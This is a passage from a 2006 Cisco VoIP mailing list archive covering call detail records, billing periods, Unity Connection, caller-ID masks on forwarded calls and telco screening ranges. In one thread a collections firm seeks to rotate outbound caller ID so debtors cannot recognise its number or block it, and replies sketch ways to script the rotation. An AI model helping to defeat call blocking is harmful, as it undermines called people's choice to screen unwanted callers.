call wasn't yet connected.

-Ryan

On Feb 8, 2006, at 10:32 AM, Ed Leatherman wrote:

Was looking through some CDRs to dig up some stats on a disputed long  
distance call.. Happened to notice there were a number of calls that  
had a dateTimeOrigination that was normal, a dateTimeConnect which  
was 0, and a dateTimeDisconnect that was normal and anywhere from 3  
to 20 sec later than the Origination Time. Does this mean the call  
failed to connect? duration on all those calls is also 0. the  
dateTimeConnect has me a little puzzled.

-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From jgrace at digitelusa.net  Wed Feb  8 11:17:02 2006
From: jgrace at digitelusa.net (James Grace)
Date: Wed Feb  8 11:17:09 2006
Subject: [cisco-voip] unity connect - 
Message-ID: <SUWCL20IP01Hvyo3DjF00000297@smtpoutcl20.wirelesssyncvzw.net>

Can unity connect work with Lotus note 

From Matt.Slaga at us.didata.com  Wed Feb  8 11:21:54 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Wed Feb  8 11:22:41 2006
Subject: [cisco-voip] unity connect - 
Message-ID: <C1FE15183DA37645BC0633BC604E44F0D9D812@USNAEXCH.na.didata.local>

Unity connection will work with any IMAP compatible client.  UC contains
it's own message store (SQL) and user database (SQL).  It is called
"integrated messaging" which is somewhere between unified and Voicemail
only.   That means you essentially have two inboxs on your email client,
one for normal email and an IMAP mailbox for voice messages.

Matt


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Wednesday, February 08, 2006 11:17 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] unity connect - 

Can unity connect work with Lotus note
_______________________________________________
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https://puck.nether.net/mailman/listinfo/cisco-voip

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From mfa at crec.ifas.ufl.edu  Wed Feb  8 11:51:12 2006
From: mfa at crec.ifas.ufl.edu (Mike Armstrong)
Date: Wed Feb  8 11:51:16 2006
Subject: [cisco-voip] Re: cisco-voip Digest, Vol 36, Issue 36
References: <200602081507.k18F78Mo078815@puck.nether.net>
Message-ID: <014001c62ccf$de373410$400cfb0a@crec.ifas.ufl.edu>

I use the UCT dateTimeDisconnect field (adjusted for our time zone) as the 
official call time, and duration for the duration.  So, using your example, 
the call would be charged to February.  No matter how you define the billing 
period, you're going to have to tapdance a little bit to accomodate calls 
that bridge the boundary.  I don't mechanically cut off things at exactly 
midnight, but if I did then I would by definition account for all calls in 
the billing period, unless one were to last longer than the billing period. 
As for Standard Time vs Saving Time, I use that for display purposes, which 
can lead to some confusion in very limited circumstances, but that's the 
purpose of Saving Time anyway.

Having said all that, we don't actually bill for telephone service, but do 
archive the CDR data (as Access databases)  and occasionally check for abuse 
or specific usage on request of a supervisor.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL

 > Date: Wed, 8 Feb 2006 10:06:58 -0500
> From: "Lelio Fulgenzi" <lelio at uoguelph.ca>
> Subject: [cisco-voip] CDRs and billing
> To: <cisco-voip at puck.nether.net>
> Message-ID: <013801c62cc1$4f005550$30196883 at cfs.uoguelph.ca>
> Content-Type: text/plain; charset="iso-8859-1"
>
> I have a question for the group regarding billing. If you have a billing 
> date that ends January 31st at midnite, do you include calls that are 
> initiated before this time or only end before this time? For example, if 
> you have a call that begins at 11:55pm and ends at 5am on the 1st of 
> February, does that call get charged to the January or February bill?
>
> We currently use the initiated before criteria and wait until the next day 
> at midnite to cut the CDRs to file to have an exhaustive list of calls. 
> What are other people doing for this?
>
>
> --------------------------------------------------------------------------------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now, I've got more jitter 
> than an
> IP phone on a long haul 10base2 connection" 
> LFJ
> -------------- next part --------------
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>
> ------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
> End of cisco-voip Digest, Vol 36, Issue 36
> ****************************************** 


From ealeatherman at gmail.com  Wed Feb  8 11:54:42 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Wed Feb  8 11:54:45 2006
Subject: [cisco-voip] Another CDR question :)
In-Reply-To: <182FDFF4-053A-49B4-86AA-ADAE5C205D91@cisco.com>
References: <94a1afde0602080732m3e66fa46x973efd6f7473297f@mail.gmail.com>
	<182FDFF4-053A-49B4-86AA-ADAE5C205D91@cisco.com>
Message-ID: <94a1afde0602080854s7a06dce0lf82881ee26682f42@mail.gmail.com>

Thanks Ryan, that makes sense! Some of the calls specifically where to an
IVR system, and our long distance provider prompts for a PIN, which will
probably account all of those cases. Will do a bit more poking around on it
but that sounds like the cause.

On 2/8/06, Ryan Ratliff <rratliff at cisco.com> wrote:
>
> Many IVRs will not actually put the call into a Connected state until
> you reach an agent.  Also happens with carriers that ask you for a
> pin when dialing long distance, etc.
>
> I think Amex was one that generated a ton of cases back in the day
> because of dtmf issues when the voice path was established but the
> call wasn't yet connected.
>
> -Ryan
>
> On Feb 8, 2006, at 10:32 AM, Ed Leatherman wrote:
>
> Was looking through some CDRs to dig up some stats on a disputed long
> distance call.. Happened to notice there were a number of calls that
> had a dateTimeOrigination that was normal, a dateTimeConnect which
> was 0, and a dateTimeDisconnect that was normal and anywhere from 3
> to 20 sec later than the Origination Time. Does this mean the call
> failed to connect? duration on all those calls is also 0. the
> dateTimeConnect has me a little puzzled.
>
> --
> Ed Leatherman
> IP Telephony Coordinator
> West Virginia University
> Telecommunications and Network Operations
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>


--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From subs-cisco at cbvcollections.com  Wed Feb  8 12:03:09 2006
From: subs-cisco at cbvcollections.com (Cisco Subscriber)
Date: Wed Feb  8 12:03:23 2006
Subject: [cisco-voip] Outbound Caller ID
Message-ID: <9AEF8665DE74FA43B3B987FB931E92AE0F16C4@CBVVANEM01.cbv.dns>

We need to rotate them to avoid issues with called parties becoming
familiar with a single number and/or using call blocking services.
Hint: "collections" in our domain name should tell you something.  ;-)

Anyone familiar with legislation regarding caller id in Canada?

-----Original Message-----
From: Patrick Aland [mailto:paland at gmail.com] 
Sent: February 8, 2006 5:29 AM
To: erickbe at yahoo.com
Cc: Cisco Subscriber; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Outbound Caller ID

A small script using AXL could probably rotate the numbers for you by
updating the external mask on the phones in a list.
Out of curiosity, why do you want to rotate the number in the first
place?

On 2/8/06, Erick Bergquist <erickbe at yahoo.com> wrote:
> I am not aware of a such an application to change the calling party 
> number/mask in call manager like that automatically.
>
> If the gateway were H.323 you could use existing scripting programs 
> available to manage router configs to modify translation-rules and 
> translation profiles.
>
>
> --- Cisco Subscriber <subs-cisco at cbvcollections.com>
> wrote:
>
> > Hi all...
> >
> > I've been tasked with looking into rotating our caller ID to 
> > different numbers.  I've contacted our provider and we should be 
> > able to set our caller id to any of the DIDs assigned to us.  That's

> > easy enough to do, we set aside a bank of reserved DIDs assigned to 
> > us (not active) and set that as the external phone mask for the sets

> > which require the 'fake'
> > DID (it would be easier to set the caller ID on the gateway level 
> > but there are some extensions that require their actual DID to be 
> > displayed).
> >
> > Ideally I'd like to rotate our caller id amongst a pre-defined bank 
> > of numbers on a per call basis.  Currently I am limited to updating 
> > the external mask for the phones on a regular basis.
> >
> > I have some questions:
> >  - Are there legal issues (in Canada) with displaying a caller id 
> > which is assigned to us, but not in service?
> >  - Are there 3rd party programs that are able to rotate the outbound

> > caller id that interface with callmanager?
> >
> >
> >
> > Confidentiality Warning:
> > This message and any attachments are intended only for the use of 
> > the intended recipients (cisco-voip at puck.nether.net), are 
> > confidential, and may be privileged. If you are not the intended 
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> > message and any attachments is strictly prohibited. If you are not 
> > the intended recipient, please notify the sender
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> > and delete this message and any attachments from your system. Thank 
> > you.
> >
> > Information Confidentielle:
> > Le present message, ainsi que tout fichier qui y est joint, est 
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> >
> >
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>
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--
--Patrick

Confidentiality Warning:
This message and any attachments are intended only for the use of the intended recipients (cisco-voip at puck.nether.net), are confidential, and may be privileged. If you are not the intended recipient, you are hereby notified that any review, retransmission, conversion to hard copy, copying, circulation or other use of this message and any attachments is strictly prohibited. If you are not the intended recipient, please notify the sender (mailto:subs-cisco at cbvcollections.com) immediately by return e-mail, and delete this message and any attachments from your system. Thank you.

Information Confidentielle:
Le present message, ainsi que tout fichier qui y est joint, est envoye a l'intention exclusive de son ou de ses destinataires (cisco-voip at puck.nether.net); il est de nature confidentielle et peut constituer une information privilegiee. Nous avertissons toute personne autre que le destinataire prevu que tout examen, reacheminement, impression, copie, distribution ou autre utilisation de ce message et de tout fichier qui y est joint est strictement interdit. Si vous n'etes pas le destinataire prevu, veuillez en aviser immediatement l'expediteur (mailto:subs-cisco at cbvcollections.com) par retour de courriel et supprimer ce message et tout document joint de votre systeme. Merci




From Scott.Voll at wesd.org  Wed Feb  8 13:02:03 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Wed Feb  8 13:02:14 2006
Subject: [cisco-voip] Auto Ready State for IPCC Express IP Phone Agent
Message-ID: <D713462ED535184D830F6F6301753E7E018B319E@VISHNU.wesd.org>

I'm not at my desk but I believe you can set that up.  there are two different places you have to set it up at to get it to work.
 
Scott

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of Robin H
Sent: Tue 2/7/2006 7:46 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Auto Ready State for IPCC Express IP Phone Agent



I am using CCM 3.3(5) and IPCC 3.1(3). Is there a way that we can skip
the Ready/Not Ready State when using IP Phone Agent after login? The
reason is that whenever the agent is ready she will start to login and
no need to set "Ready" or "Note Ready" state anymore. I am aware of
one button login but that is not what my user wants. Any idea how to
do this? Thank you.

_______________________________________________
cisco-voip mailing list
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https://puck.nether.net/mailman/listinfo/cisco-voip


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From jgrace at digitelusa.net  Wed Feb  8 13:23:28 2006
From: jgrace at digitelusa.net (James Grace)
Date: Wed Feb  8 13:23:37 2006
Subject: [cisco-voip] unity connect -
Message-ID: <SUWCL19IP01e6n0ssrA0000303a@smtpoutcl19.wirelesssyncvzw.net>

Thanks 
On the docs it dont list lotus notes 
also when I try to install the software I get a ntvm hard error 
 

-----Original Message-----
    From: "Matt Slaga \(US\)" <Matt.Slaga at us.didata.com>
    Sent: 2/8/06 11:21:54 A-M
    To: "James Grace" <jgrace at digitelusa.net>, "cisco-voip at puck.nether.net" <cisco-voip at puck.nether.net>
    Subject: RE: [cisco-voip] unity connect -
    
    
    Unity connection will work with any IMAP compatible client.  UC contains
    it's own message store (SQL) and user database (SQL).  It is called
    "integrated messaging" which is somewhere between unified and Voicemail
    only.   That means you essentially have two inboxs on your email client,
    one for normal email and an IMAP mailbox for voice messages.
    
    Matt
    
    
    -----Original Message-----
    From: cisco-voip-bounces at puck.nether.net
    [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
    Sent: Wednesday, February 08, 2006 11:17 AM
    To: cisco-voip at puck.nether.net
    Subject: [cisco-voip] unity connect - 
    
    Can unity connect work with Lotus note
    _______________________________________________
    cisco-voip mailing list
    cisco-voip at puck.nether.net
    https://puck.nether.net/mailman/listinfo/cisco-voip
    
    -----------------------------------------
    Disclaimer:
    
    This e-mail communication and any attachments may contain
    confidential and privileged information and is for use by the
    designated addressee(s) named above only.  If you are not the
    intended addressee, you are hereby notified that you have received
    this communication in error and that any use or reproduction of
    this email or its contents is strictly prohibited and may be
    unlawful.  If you have received this communication in error, please
    notify us immediately by replying to this message and deleting it
    from your computer. Thank you.
    
    ---
    
    
    
    
    
    
    

From it at cimgroup.com  Wed Feb  8 15:40:42 2006
From: it at cimgroup.com (IT)
Date: Wed Feb  8 15:36:20 2006
Subject: [cisco-voip] route patterns/callerid mask/callforward
Message-ID: <B487D4C1FE6D04439061018C6EBC109B029E3F32@exchange.cimgroup.com>

Here is my dilemma. 
All the phones in my callmanager 4.0 setup do not have "external phone
number mask" setup.  Instead, I have put the number mask in to the
translation pattern for outbound calling. For example.
My extension is 4990
I dial a call that matches the 8.@ route pattern, and the call gets
routed out the PRI Gateway, and the pattern applies the "Calling Party
Transform Mask" of 323860XXXX
This results in the caller-id showing up as 323-860-4990. Perfect.
Now here are the problems with this solution. If I enable callforwarding
on my phone (sending them to my cellphone), the caller-id gets messed
up. Here is why:
Let's say my friend at 310-833-5625 calls me on my cisco phone. The call
hits the phone, but there is a CFwdAll set.  
The call forwards to 813239438833 (my cell with the outgoing prefix of
8). 
When the call forwards, it runs through the route pattern 8.@
The call exits the PRI Gateway, and the Calling Party Transform Mask
applied is 323860XXXX.
The call reaches my cellphone, and the caller-id says 323-860-5625
So, only the last 4 digits are from the original callers phone number,
and the rest are from the route pattern's transform mask.
Needless to say, this is a problem.

One solution I have found is to eliminate the "Calling Party Transform
Mask" from all route patterns. Then, I add an "External Phone Number
Mask" to each and every line on my phone. This way, when I call out from
my phone, the caller-id is correct, and calls forwarded through my phone
retain their caller-id when they go through the route pattern. This is a
serious maintenance nightmare, as I would have number mask's all over
the place. However, the upside of this route, is that the 2 people in
the office who want caller-id blocked on their outbound calls can do
so...(anyone know an easier way?)

I know other people have had to deal with this, but I cannot find the
answer in my archives of this mailing list.

Have you ever dealt with this, and do you have a solution that will
allow me to keep the number masks in the route pattern?


From rratliff at cisco.com  Wed Feb  8 15:45:17 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Wed Feb  8 15:46:56 2006
Subject: [cisco-voip] route patterns/callerid mask/callforward
In-Reply-To: <B487D4C1FE6D04439061018C6EBC109B029E3F32@exchange.cimgroup.com>
References: <B487D4C1FE6D04439061018C6EBC109B029E3F32@exchange.cimgroup.com>
Message-ID: <F0E07923-4D79-4A81-9712-90DE08831169@cisco.com>

BAT?

It can easily modify your external calling party number.

-Ryan

On Feb 8, 2006, at 3:40 PM, IT wrote:

Here is my dilemma.
All the phones in my callmanager 4.0 setup do not have "external phone
number mask" setup.  Instead, I have put the number mask in to the
translation pattern for outbound calling. For example.
My extension is 4990
I dial a call that matches the 8.@ route pattern, and the call gets
routed out the PRI Gateway, and the pattern applies the "Calling Party
Transform Mask" of 323860XXXX
This results in the caller-id showing up as 323-860-4990. Perfect.
Now here are the problems with this solution. If I enable callforwarding
on my phone (sending them to my cellphone), the caller-id gets messed
up. Here is why:
Let's say my friend at 310-833-5625 calls me on my cisco phone. The call
hits the phone, but there is a CFwdAll set.
The call forwards to 813239438833 (my cell with the outgoing prefix of
8).
When the call forwards, it runs through the route pattern 8.@
The call exits the PRI Gateway, and the Calling Party Transform Mask
applied is 323860XXXX.
The call reaches my cellphone, and the caller-id says 323-860-5625
So, only the last 4 digits are from the original callers phone number,
and the rest are from the route pattern's transform mask.
Needless to say, this is a problem.

One solution I have found is to eliminate the "Calling Party Transform
Mask" from all route patterns. Then, I add an "External Phone Number
Mask" to each and every line on my phone. This way, when I call out from
my phone, the caller-id is correct, and calls forwarded through my phone
retain their caller-id when they go through the route pattern. This is a
serious maintenance nightmare, as I would have number mask's all over
the place. However, the upside of this route, is that the 2 people in
the office who want caller-id blocked on their outbound calls can do
so...(anyone know an easier way?)

I know other people have had to deal with this, but I cannot find the
answer in my archives of this mailing list.

Have you ever dealt with this, and do you have a solution that will
allow me to keep the number masks in the route pattern?

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From lelio at uoguelph.ca  Wed Feb  8 15:50:09 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Wed Feb  8 15:50:17 2006
Subject: [cisco-voip] route patterns/callerid mask/callforward
References: <B487D4C1FE6D04439061018C6EBC109B029E3F32@exchange.cimgroup.com>
Message-ID: <00c701c62cf1$41208ab0$30196883@cfs.uoguelph.ca>

So you're saying that if I forward my phone offcampus to a phone that has call display, what I see on the other side depends on whether I use the phones external calling mask or the route pattern mask? I don't use wildcards, I simply populate the field with our main number. If I have the external mask set per phone, I will see the original caller's number, but if I use the mask on the RP I will see my main number?

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: IT 
  To: cisco-voip at puck.nether.net 
  Sent: Wednesday, February 08, 2006 3:40 PM
  Subject: [cisco-voip] route patterns/callerid mask/callforward


  Here is my dilemma. 
  All the phones in my callmanager 4.0 setup do not have "external phone
  number mask" setup.  Instead, I have put the number mask in to the
  translation pattern for outbound calling. For example.
  My extension is 4990
  I dial a call that matches the 8.@ route pattern, and the call gets
  routed out the PRI Gateway, and the pattern applies the "Calling Party
  Transform Mask" of 323860XXXX
  This results in the caller-id showing up as 323-860-4990. Perfect.
  Now here are the problems with this solution. If I enable callforwarding
  on my phone (sending them to my cellphone), the caller-id gets messed
  up. Here is why:
  Let's say my friend at 310-833-5625 calls me on my cisco phone. The call
  hits the phone, but there is a CFwdAll set.  
  The call forwards to 813239438833 (my cell with the outgoing prefix of
  8). 
  When the call forwards, it runs through the route pattern 8.@
  The call exits the PRI Gateway, and the Calling Party Transform Mask
  applied is 323860XXXX.
  The call reaches my cellphone, and the caller-id says 323-860-5625
  So, only the last 4 digits are from the original callers phone number,
  and the rest are from the route pattern's transform mask.
  Needless to say, this is a problem.

  One solution I have found is to eliminate the "Calling Party Transform
  Mask" from all route patterns. Then, I add an "External Phone Number
  Mask" to each and every line on my phone. This way, when I call out from
  my phone, the caller-id is correct, and calls forwarded through my phone
  retain their caller-id when they go through the route pattern. This is a
  serious maintenance nightmare, as I would have number mask's all over
  the place. However, the upside of this route, is that the 2 people in
  the office who want caller-id blocked on their outbound calls can do
  so...(anyone know an easier way?)

  I know other people have had to deal with this, but I cannot find the
  answer in my archives of this mailing list.

  Have you ever dealt with this, and do you have a solution that will
  allow me to keep the number masks in the route pattern?

  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
-------------- next part --------------
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From rratliff at cisco.com  Wed Feb  8 16:05:34 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Wed Feb  8 16:05:34 2006
Subject: [cisco-voip] route patterns/callerid mask/callforward
In-Reply-To: <00c701c62cf1$41208ab0$30196883@cfs.uoguelph.ca>
References: <B487D4C1FE6D04439061018C6EBC109B029E3F32@exchange.cimgroup.com>
	<00c701c62cf1$41208ab0$30196883@cfs.uoguelph.ca>
Message-ID: <15DEEED1-63F7-4165-96BE-78FA861A8F74@cisco.com>

The calling party selection configured on the gateway will play a  
role here, but I can see where a calling party modification on the  
route pattern would change it.

-Ryan

On Feb 8, 2006, at 3:50 PM, Lelio Fulgenzi wrote:

So you're saying that if I forward my phone offcampus to a phone that  
has call display, what I see on the other side depends on whether I  
use the phones external calling mask or the route pattern mask? I  
don't use wildcards, I simply populate the field with our main  
number. If I have the external mask set per phone, I will see the  
original caller's number, but if I use the mask on the RP I will see  
my main number?

------------------------------------------------------------------------ 
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
"I had a coffee and Coke at lunch today...and now, I've got more  
jitter than an
IP phone on a long haul 10base2  
connection"                                           LFJ
----- Original Message -----
From: IT
To: cisco-voip at puck.nether.net
Sent: Wednesday, February 08, 2006 3:40 PM
Subject: [cisco-voip] route patterns/callerid mask/callforward

Here is my dilemma.
All the phones in my callmanager 4.0 setup do not have "external phone
number mask" setup.  Instead, I have put the number mask in to the
translation pattern for outbound calling. For example.
My extension is 4990
I dial a call that matches the 8.@ route pattern, and the call gets
routed out the PRI Gateway, and the pattern applies the "Calling Party
Transform Mask" of 323860XXXX
This results in the caller-id showing up as 323-860-4990. Perfect.
Now here are the problems with this solution. If I enable callforwarding
on my phone (sending them to my cellphone), the caller-id gets messed
up. Here is why:
Let's say my friend at 310-833-5625 calls me on my cisco phone. The call
hits the phone, but there is a CFwdAll set.
The call forwards to 813239438833 (my cell with the outgoing prefix of
8).
When the call forwards, it runs through the route pattern 8.@
The call exits the PRI Gateway, and the Calling Party Transform Mask
applied is 323860XXXX.
The call reaches my cellphone, and the caller-id says 323-860-5625
So, only the last 4 digits are from the original callers phone number,
and the rest are from the route pattern's transform mask.
Needless to say, this is a problem.

One solution I have found is to eliminate the "Calling Party Transform
Mask" from all route patterns. Then, I add an "External Phone Number
Mask" to each and every line on my phone. This way, when I call out from
my phone, the caller-id is correct, and calls forwarded through my phone
retain their caller-id when they go through the route pattern. This is a
serious maintenance nightmare, as I would have number mask's all over
the place. However, the upside of this route, is that the 2 people in
the office who want caller-id blocked on their outbound calls can do
so...(anyone know an easier way?)

I know other people have had to deal with this, but I cannot find the
answer in my archives of this mailing list.

Have you ever dealt with this, and do you have a solution that will
allow me to keep the number masks in the route pattern?

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From wsisk at cisco.com  Wed Feb  8 16:22:54 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  8 16:23:06 2006
Subject: [cisco-voip] CM 4.1.3sr1 to sr2
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE12FE@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE12FE@VISHNU.wesd.org>
Message-ID: <43EA612E.6000000@cisco.com>

do you have a backup of your 4.1(3)sr1 laying around?  we can extract 
the dcd contents and verify.

Voll, Scott wrote:
> The problem is that I have multiple Jtapi users (each called different
> things)  one for each application (Berbee, Traverse, IPCCx, etc).
>
> I know the Traverse one for sure all of a sudden has Phones, CTI ports,
> and route points associated that was not associated before.  Now I'm
> going through and unassociating those phone, cti ports and RP.
>
> Scott
>
> -----Original Message-----
> From: Ryan Ratliff [mailto:rratliff at cisco.com] 
> Sent: Tuesday, February 07, 2006 8:17 AM
> To: Voll, Scott
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] CM 4.1.3sr1 to sr2
>
> The user your application uses is configured on the application not  
> in the CM.  How would a CM upgrade change your application config?
>
> -Ryan
>
> On Feb 7, 2006, at 11:02 AM, Voll, Scott wrote:
>
> Has anyone had any problems with upgrading CM 4.1.3sr1 to sr2 that is  
> integrated with AD.
>
>
>
> It seems after the upgrade my JTAPI Users got messed up.  I don't  
> know how, but it looks like they are all using the same Jtapi User  
> for all the different application I have that use JTAPI which is  
> causing application to fail.
>
>
>
> Can someone confirm or deny?
>
>
>
> Scott
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From gea at ufl.edu  Wed Feb  8 16:23:08 2006
From: gea at ufl.edu (Greg Ayoub)
Date: Wed Feb  8 16:23:14 2006
Subject: [cisco-voip] route patterns/callerid mask/callforward
References: <B487D4C1FE6D04439061018C6EBC109B029E3F32@exchange.cimgroup.com>
	<F0E07923-4D79-4A81-9712-90DE08831169@cisco.com>
Message-ID: <003001c62cf5$dc23ef30$4cd4e380@NOMAD>

...One solution I have found is to eliminate the "Calling Party Transform
Mask" from all route patterns. Then, I add an "External Phone Number
Mask" to each and every line on my phone. This way, when I call out from
my phone, the caller-id is correct, and calls forwarded through my phone
retain their caller-id when they go through the route pattern. This is a
serious maintenance nightmare...

That was our solution as well.  If you find a better one, let us know! 

----- Original Message ----- 
From: "Ryan Ratliff" <rratliff at cisco.com>
To: "IT" <it at cimgroup.com>
Cc: <cisco-voip at puck.nether.net>
Sent: Wednesday, February 08, 2006 3:45 PM
Subject: Re: [cisco-voip] route patterns/callerid mask/callforward


BAT?

It can easily modify your external calling party number.

-Ryan

On Feb 8, 2006, at 3:40 PM, IT wrote:

Here is my dilemma.
All the phones in my callmanager 4.0 setup do not have "external phone
number mask" setup.  Instead, I have put the number mask in to the
translation pattern for outbound calling. For example.
My extension is 4990
I dial a call that matches the 8.@ route pattern, and the call gets
routed out the PRI Gateway, and the pattern applies the "Calling Party
Transform Mask" of 323860XXXX
This results in the caller-id showing up as 323-860-4990. Perfect.
Now here are the problems with this solution. If I enable callforwarding
on my phone (sending them to my cellphone), the caller-id gets messed
up. Here is why:
Let's say my friend at 310-833-5625 calls me on my cisco phone. The call
hits the phone, but there is a CFwdAll set.
The call forwards to 813239438833 (my cell with the outgoing prefix of
8).
When the call forwards, it runs through the route pattern 8.@
The call exits the PRI Gateway, and the Calling Party Transform Mask
applied is 323860XXXX.
The call reaches my cellphone, and the caller-id says 323-860-5625
So, only the last 4 digits are from the original callers phone number,
and the rest are from the route pattern's transform mask.
Needless to say, this is a problem.

One solution I have found is to eliminate the "Calling Party Transform
Mask" from all route patterns. Then, I add an "External Phone Number
Mask" to each and every line on my phone. This way, when I call out from
my phone, the caller-id is correct, and calls forwarded through my phone
retain their caller-id when they go through the route pattern. This is a
serious maintenance nightmare, as I would have number mask's all over
the place. However, the upside of this route, is that the 2 people in
the office who want caller-id blocked on their outbound calls can do
so...(anyone know an easier way?)

I know other people have had to deal with this, but I cannot find the
answer in my archives of this mailing list.

Have you ever dealt with this, and do you have a solution that will
allow me to keep the number masks in the route pattern?

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From wsisk at cisco.com  Wed Feb  8 16:26:00 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  8 16:26:11 2006
Subject: [cisco-voip] PSTN connection terminated before error message
In-Reply-To: <016201c62b37$d1fc8220$400cfb0a@crec.ifas.ufl.edu>
References: <200601252104.k0PL3tgY084022@puck.nether.net>
	<016201c62b37$d1fc8220$400cfb0a@crec.ifas.ufl.edu>
Message-ID: <43EA61E8.7090902@cisco.com>

An HTML attachment was scrubbed...
URL: https://puck.nether.net/pipermail/cisco-voip/attachments/20060208/eeddb191/attachment.html

From jsteinberg at gmail.com  Wed Feb  8 16:26:42 2006
From: jsteinberg at gmail.com (Justin Steinberg)
Date: Wed Feb  8 16:26:49 2006
Subject: [cisco-voip] route patterns/callerid mask/callforward
Message-ID: <f1b65f880602081326t55af764ercd688e9ebeadd926@mail.gmail.com>

A really easy fix for this problem is to call your Telco and request a
'screening range'.

They can populate a screening range with all the DIDs on your PRI. 
Then whenever an outbound call is placed from your site the Telco
checks the ANI that CallManager is sending.  If the ANI is a valid DID
then it is passed without modification.  If the ANI is something
outside of your DID range then the telco overwrites your ANI with your
main phone number.

All the major telco's I've dealt with support the screening range
concept in one way or the other.

Of course, a side effect of this problem is you can no longer prank
your friends - and other legitimate things such as wanting to send out
a toll-free number as your ANI.

Justin


> Date: Wed, 8 Feb 2006 15:50:09 -0500
> From: "Lelio Fulgenzi" <lelio at uoguelph.ca>
> Subject: Re: [cisco-voip] route patterns/callerid mask/callforward
> To: "IT" <it at cimgroup.com>, <cisco-voip at puck.nether.net>
> Message-ID: <00c701c62cf1$41208ab0$30196883 at cfs.uoguelph.ca>
> Content-Type: text/plain; charset="iso-8859-1"
>
> So you're saying that if I forward my phone offcampus to a phone that has call display, what I see on the other side depends on whether I use the phones external calling mask or the route pattern mask? I don't use wildcards, I simply populate the field with our main number. If I have the external mask set per phone, I will see the original caller's number, but if I use the mask on the RP I will see my main number?
>
> --------------------------------------------------------------------------------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now, I've got more jitter than an
> IP phone on a long haul 10base2 connection"                                           LFJ
>  ----- Original Message -----
>  From: IT
>  To: cisco-voip at puck.nether.net
>  Sent: Wednesday, February 08, 2006 3:40 PM
>  Subject: [cisco-voip] route patterns/callerid mask/callforward
>
>
>  Here is my dilemma.
>  All the phones in my callmanager 4.0 setup do not have "external phone
>  number mask" setup.  Instead, I have put the number mask in to the
>  translation pattern for outbound calling. For example.
>  My extension is 4990
>  I dial a call that matches the 8.@ route pattern, and the call gets
>  routed out the PRI Gateway, and the pattern applies the "Calling Party
>  Transform Mask" of 323860XXXX
>  This results in the caller-id showing up as 323-860-4990. Perfect.
>  Now here are the problems with this solution. If I enable callforwarding
>  on my phone (sending them to my cellphone), the caller-id gets messed
>  up. Here is why:
>  Let's say my friend at 310-833-5625 calls me on my cisco phone. The call
>  hits the phone, but there is a CFwdAll set.
